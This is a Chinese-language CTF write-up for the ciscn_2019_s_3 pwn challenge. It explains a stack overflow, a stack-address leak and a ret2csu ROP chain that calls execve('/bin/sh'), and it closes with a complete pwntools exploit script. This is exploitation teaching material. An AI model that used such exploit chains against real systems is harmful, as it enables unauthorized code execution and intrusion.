ciscn_2019_s_3

文章发布时间:

最后更新时间:

文章总字数:
964

预计阅读时间:
4 分钟

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

主体函数非常简单 利用系统调用号实现了一次输入和输出

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

还有一个gadget函数 看一下汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004004D6 ; =============== S U B R O U T I N E =======================================
.text:00000000004004D6
.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh ; ';'
.text:00000000004004E9 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------

下方的0x3b则为59 是execve的系统调用号

应该是构造rop链 但是这题没有办法泄露libc基址 从而也没有办法获取/bin/sh的地址

所以只能通过写入栈上

要想利用栈 先得获得栈的地址 发现sys_write函数可以打印出0x30字节 而buf距离rbp只有0x10

还有一点需要注意 发现vuln函数的结尾并没有leave指令 也就是说我们只需要覆盖rbp就可以控制程序执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; '0' ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",26678)
elf = ELF("./pwn")
context.log_level = "debug"
context.arch = "amd64"
main_addr = elf.sym['main']
payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)
io.send(payload)
io.recvuntil("c")
io.recv(16)
stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
gdb.attach(io)
print(hex(stack_addr))

zA0tpj.png

可以看到泄露出了栈上的地址 但是此时我们并没有办法得知其与写入栈上的/bin/sh的偏移

这里的原因暂时没有办法得知 先放着这个疑问

下面我们进行系统调用 由于需要用到三个寄存器 所以这里用到csu

具体的流程我就不过多赘述了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rdi_addr = 0x4005a3
syscall_addr = 0x400517
int59_addr = 0x4004E2
gadget2_addr = 0x400596
gadget1_addr = 0x400580
payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
binsh_addr = stack_addr - 0x138
payload += p64(binsh_addr+0x10)
payload += p64(0)*3
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(rdi_addr)
payload += p64(binsh_addr)
payload += p64(syscall_addr)
io.sendline(payload)

这里重点解释一下三个方面

1.为什么要多出一个p64(int59_addr)在栈上

这是因为call指令的问题 他跳转的是对应地址中存储的值 我们如果直接跳转到int59_addr是调用失败的

2.binsh_addr和stack_addr的偏移是怎么求出来的

我们将断点打在csu执行到call r12那一行

然后gdb看一下栈

zABw2d.png

可以计算出偏移为0x138

还有第二种办法可以查看到/bin/sh位于栈上的地址 stack 24实际上是以rsp往高地址方向

如果我们使rsp的地址减少 就可以做到查看低地址处的栈内容

1
set $rsp = $rsp-0x150

zABhxs.png

看到这里你也能够理解我们赋值给r12的binsh_addr+0x10是什么用意了吧

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",26678)
elf = ELF("./pwn")
context.log_level = "debug"
context.arch = "amd64"
main_addr = elf.sym['main']
payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)
io.send(payload)
io.recvuntil("c")
io.recv(16)
stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
binsh_addr = stack_addr - 0x138
rdi_addr = 0x4005a3
syscall_addr = 0x400517
int59_addr = 0x4004E2
gadget2_addr = 0x400596
gadget1_addr = 0x400580
payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(binsh_addr+0x10)
payload += p64(0)*3
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(rdi_addr)
payload += p64(binsh_addr)
payload += p64(syscall_addr)
io.sendline(payload)
io.interactive()